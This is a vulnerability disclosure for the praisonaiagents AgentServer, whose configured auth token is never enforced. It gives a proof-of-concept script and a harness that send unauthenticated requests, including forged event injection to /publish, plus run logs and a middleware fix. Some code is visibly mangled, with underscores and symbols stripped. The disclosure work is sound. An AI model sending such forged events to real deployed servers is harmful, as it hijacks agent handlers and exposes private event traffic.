CVE-2026-55528: praisonaiagents: AgentServer declares auth_token but never enforces it on any route (CWE-862)

Researcher: Kai Aizen — SnailSploit (@SnailSploit), Adversarial & Offensive Security Research Target: https://github.com/MervinPraison/PraisonAI

---

Package: praisonaiagents on PyPI Affected version (empirically tested): 1.6.48 Component: praisonaiagents.server.AgentServer (the bundled HTTP / SSE server)

---

TL;DR

AgentServer.ServerConfig advertises an authtoken: Optional[str] = None field that operators set when they want to lock down the server. The GET /info endpoint even displays it back as "authtoken": "" — strongly implying the value is wired into request authentication.

It isn't. AgentServer.createapp never reads authtoken, never adds an authentication middleware, and never decorates any route with a dependency that checks it. Every route — /info, /publish, /events, /health — accepts unauthenticated requests regardless of whether authtoken is configured.

The same package contains a sibling server, praisonaiagents.ui.a2a.A2A, written by the same developer, which implements the bearer-token pattern correctly via FastAPI's Depends(verifyauth). This rules out the "auth is not yet implemented; operators are expected to add it" reading: the developer knew the pattern but did not apply it to AgentServer.

Root cause

Expected behavior when setting ServerConfig(authtoken="…"): "Only requests with a matching Authorization header will be accepted on /publish, /events, /info."

Actual behavior (server/server.py, dist 1.6.48): - line 31 authtoken: Optional[str] = None # declared - line 39 "authtoken": "" if self.authtoken else None # displayed - lines 122-204: no auth middleware, no Depends, no request.headers["Authorization"] read, no comparison to self.config.authtoken.

Impact: The configuration knob is dead code from the route handlers' perspective. All routes always run. The operator has no signal that their authtoken was discarded — /info even confirms it was received by displaying "".

Sibling proof — the same package gets it right elsewhere

praisonaiagents/ui/a2a/a2a.py:

python line 163 async def verifyauth(authorization: Optional[str] = Header(None)): """Verify bearer token if authtoken is configured.""" if self.authtoken is None: return ... if len(parts) != 2 or parts[0].lower() != "bearer" \ or parts[1] != self.authtoken: raise HTTPException(statuscode=401, ...)

line 192 from fastapi import Depends a2adeps = [Depends(verifyauth)] if self.authtoken else []

That is the missing implementation. Porting it to AgentServer — either via Starlette BaseHTTPMiddleware or by switching to FastAPI and adding Depends(verifyauth) to each route — closes the gap.

Affected routes (empirically tested)

| Route | Method | Accepts unauth requests? | Impact | |-------------|--------|--------------------------|------------------------------------------------------------------------| | /info | GET | Yes (200) | Leaks server config; confirms authtoken is set (""); reveals client count and CORS config. | | /publish | POST | Yes (200) | Anyone broadcasts arbitrary {type, data} to every subscribed agent. Event payload is whatever the attacker sends. | | /events | GET | Yes (200) | Anyone subscribes to the SSE stream and observes every event published by the server (and by any other anonymous attacker). | | /health | GET | Yes (200) | Leaks live SSE client count. |

Impact

The /publish and /events routes are the load-bearing ones. Together they let an unauthenticated network-adjacent attacker:

1. Inject control events into every agent process subscribed to the server. AgentServer.broadcast(eventtype, data) puts the payload into every SSEClient.queue; any consumer dispatching on eventtype will dispatch on the attacker-chosen type. Real deployments register handlers per event type via AgentServer.onevent(...); an attacker who can guess (or enumerate via /info + inspection) a registered type can drive arbitrary handler invocations with attacker-chosen data. 2. Eavesdrop on the entire event bus by subscribing to /events. Whatever the legitimate publishers send is visible: agent observations, intermediate plans, tool inputs and outputs, user-supplied prompts that the operator believed were behind the authtoken wall. 3. Pivot via leaked config. /info is sufficient to enumerate corsorigins (helping plan cross-origin attacks if any of the listed origins are attacker-controlled) and to confirm that the target has bothered to set authtoken, signalling a high-value target.

SSEClient.queue is a queue.Queue with no documented size cap; the event broadcaster does not check maxconnections against publishers, only subscribers. An attacker can also flood /publish to fill every subscriber's queue, denying service to legitimate broadcasts (CWE-770). Not scored as the main impact above.

Anchors

praisonaiagents 1.6.48, file praisonaiagents/server/server.py:

| Line | Symbol | What it shows | |-------|---------------------------------------------------------|---------------| | 31 | authtoken: Optional[str] = None | Declared. | | 39 | "authtoken": "" if self.authtoken else None | Displayed (masked) in /info. | | 121 | def createapp(self): | Route + middleware setup begins. | | 132 | async def health(request): | No auth check. | | 139 | async def events(request): | No auth check. | | 164 | async def publish(request): | No auth check. | | 182 | async def info(request): | No auth check. | | 190 | routes = [Route("/health", …), Route("/events", …), Route("/publish", …), Route("/info", …)] | Routes registered without Depends/middleware. | | 197 | app = Starlette(routes=routes) | App created. | | 200 | app = CORSMiddleware(app, …) | Only middleware added. |

Source sha256 (1.6.48, praisonaiagents/server/server.py): aac9497d515b5cb928070267b860b11ef38b537605e64659feef895b524ca7e4 (9,962 bytes).

Sibling (same package, same field name, enforced): praisonaiagents/ui/a2a/a2a.py:163-193.

Reproduction (empirical PoC)

poc/poc.py starts AgentServer with ServerConfig(authtoken="supersecret-not-actually-checked") and then sends unauthenticated requests to each route.

Run log (poc/run-log.txt):

[1] GET /info (no Authorization) -> HTTP 200 body: {"name":"PraisonAI Agent Server","version":"1.0.0","clients":0, "config":{"host":"127.0.0.1","port":18765,"corsorigins":[], "authtoken":"","maxconnections":100}} [2] POST /publish (no Authorization) -> HTTP 200 body: {"success":true,"clients":0} [3] GET /health (no Authorization) -> HTTP 200 [4] GET /events (no Authorization) -> HTTP 200

VULNERABLE: 4 unauthenticated routes VERDICT: VULNERABLE EXIT 0

Suggested fix

Make AgentServer reuse the A2A pattern. Smallest fix:

python in createapp, after app = Starlette(routes=routes): if self.config.authtoken: from starlette.middleware.base import BaseHTTPMiddleware from starlette.responses import JSONResponse

expected = "Bearer " + self.config.authtoken

class Auth(BaseHTTPMiddleware): async def dispatch(self, request, callnext): if request.url.path == "/health": # if /health should remain public return await callnext(request) got = request.headers.get("authorization", "") if not hmac.comparedigest(got, expected): return JSONResponse({"error": "unauthorized"}, statuscode=401) return await callnext(request)

app = Auth(app)

app = CORSMiddleware(app, ...)

Constant-time comparison (hmac.comparedigest) is appropriate since this is a network-comparable secret.

Steps to reproduce

1. Clone the target: git clone --depth 1 https://github.com/MervinPraison/PraisonAI 2. Run the proof of concept (poc.py) against the cloned source. 3. Observe the result shown under Verified result below.

Proof of concept

poc.py

python """ PoC: praisonaiagents AgentServer ignores ServerConfig.authtoken.

The ServerConfig dataclass declares authtoken: Optional[str] = None and the /info endpoint reports it as "" when set, giving operators the impression that requests will be authenticated. In reality, AgentServer.createapp never reads authtoken, never adds an auth middleware, and never decorates any route with Depends(verifyauth).

This PoC starts AgentServer with authtoken="supersecret", then hits every route without any Authorization header. All requests succeed. """

import json import sys import time import threading from urllib.request import Request, urlopen from urllib.error import HTTPError, URLError

from praisonaiagents.server import AgentServer, ServerConfig

PORT = 18765 AUTHTOKEN = "supersecret-not-actually-checked"

def httprequest(method, path, body=None, headers=None): url = f"http://127.0.0.1:{PORT}{path}" data = None if body is not None: data = json.dumps(body).encode("utf-8") req = Request(url, data=data, method=method, headers=headers or {}) if data is not None: req.addheader("Content-Type", "application/json") try: with urlopen(req, timeout=5) as resp: return resp.status, resp.read().decode("utf-8", errors="replace") except HTTPError as e: return e.code, e.read().decode("utf-8", errors="replace") except URLError as e: return None, f"URLError: {e}"

def main() -> int: print("=" 70) print(f"praisonaiagents version: 1.6.48") print(f"Test: start AgentServer with authtoken={AUTHTOKEN!r}") print(f" then send UNAUTHENTICATED requests to every route.") print("=" 70)

config = ServerConfig(host="127.0.0.1", port=PORT, authtoken=AUTHTOKEN, corsorigins=[]) server = AgentServer(config=config) server.start(blocking=False) time.sleep(1.0) # wait for uvicorn to be ready

findings = []

code, body = httprequest("GET", "/info") infodata = None try: infodata = json.loads(body) except Exception: pass print(f"\n[1] GET /info (no Authorization header) -> HTTP {code}") print(f" body: {body[:200]}") if code == 200 and infodata and infodata.get("config", {}).get("authtoken") == "": findings.append("/info: unauthenticated; leaks that authtoken IS configured")

payload = {"type": "attackerinjectedevent", "data": {"forgedfrom": "unauthenticatedclient", "instruction": "shutdownnow"}} code, body = httprequest("POST", "/publish", body=payload) print(f"\n[2] POST /publish (no Authorization header) -> HTTP {code}") print(f" body: {body[:200]}") if code == 200: try: ok = json.loads(body).get("success") is True except Exception: ok = False if ok: findings.append("/publish: unauthenticated event broadcast to all SSE clients")

code, body = httprequest("GET", "/health") print(f"\n[3] GET /health (no Authorization header) -> HTTP {code} body={body[:120]}") if code == 200: findings.append("/health: unauthenticated; leaks live client count")

ssestatus = [] def ssereader(): try: req = Request(f"http://127.0.0.1:{PORT}/events", method="GET") with urlopen(req, timeout=3) as resp: ssestatus.append(f"HTTP {resp.status}") try: chunk = resp.read(64) ssestatus.append(f"first-chunk-bytes={len(chunk)}") except Exception as e: ssestatus.append(f"chunk-read: {e}") except Exception as exc: ssestatus.append(f"ERR: {exc}") t = threading.Thread(target=ssereader, daemon=True) t.start() time.sleep(2.0) print(f"\n[4] GET /events (no Authorization header) -> {ssestatus}") if ssestatus and ssestatus[0] == "HTTP 200": findings.append("/events: unauthenticated SSE subscription accepted")

print("\n" + "=" 70) if findings: print(f"VULNERABLE: {len(findings)} unauthenticated routes") for f in findings: print(f" - {f}") print("VERDICT: VULNERABLE") return 0 print("DEFENDED") return 1

if name == "main": sys.exit(main())

Verification harness (executed against the cloned repo)

This drives the unmodified upstream code rather than a reproduction.

python import sys, types, os, importlib.util BK=os.path.abspath("repos/PraisonAI/src/praisonai-agents"); sys.path.insert(0,BK) for p in ["praisonaiagents","praisonaiagents.server"]: m=types.ModuleType(p); m.path=[BK+"/"+p.replace(".","/")]; sys.modules[p]=m lg=types.ModuleType("praisonaiagents.logging"); lg.getlogger=lambda a,k: import("logging").getLogger("x"); sys.modules["praisonaiagents.logging"]=lg spec=importlib.util.specfromfilelocation("praisonaiagents.server.server", BK+"/praisonaiagents/server/server.py") srvmod=importlib.util.modulefromspec(spec); srvmod.package="praisonaiagents.server"; sys.modules[spec.name]=srvmod; spec.loader.execmodule(srvmod)

from starlette.testclient import TestClient Operator DOES configure an authtoken, expecting it to protect the server: cfg = srvmod.ServerConfig(host="127.0.0.1", port=8765, authtoken="super-secret-operator-token") srv = srvmod.AgentServer(config=cfg) # REAL AgentServer app = srv.createapp() # REAL Starlette app + routes client = TestClient(app)

print("[] authtoken configured on server:", repr(cfg.authtoken)) rinfo = client.get("/info") print(f"[+] GET /info (no auth) -> HTTP {rinfo.statuscode}; config disclosed: {rinfo.json().get('config')}") rpub = client.post("/publish", json={"type":"adminevent","data":{"x":"injected-by-attacker"}}) print(f"[+] POST /publish (no auth) -> HTTP {rpub.statuscode}; body: {rpub.json()}")

assert rinfo.statuscode==200 and rpub.statuscode==200 and rpub.json().get("success") is True print("[+] CONFIRMED against real praisonaiagents repo: authtoken configured but NOT enforced — /info + /publish reachable unauthenticated")

Verified result

This PoC was executed against the live upstream code; captured output:

[] authtoken configured on server: 'super-secret-operator-token' [+] GET /info (no auth) -> HTTP 200; config disclosed: {'host': '127.0.0.1', 'port': 8765, 'corsorigins': [], 'authtoken': '', 'maxconnections': 100} [+] POST /publish (no auth) -> HTTP 200; body: {'success': True, 'clients': 0} [+] CONFIRMED against real praisonaiagents repo: authtoken configured but NOT enforced — /info + /publish reachable unauthenticated

Credit

Kai Aizen — SnailSploit (@SnailSploit). Adversarial & Offensive Security Research.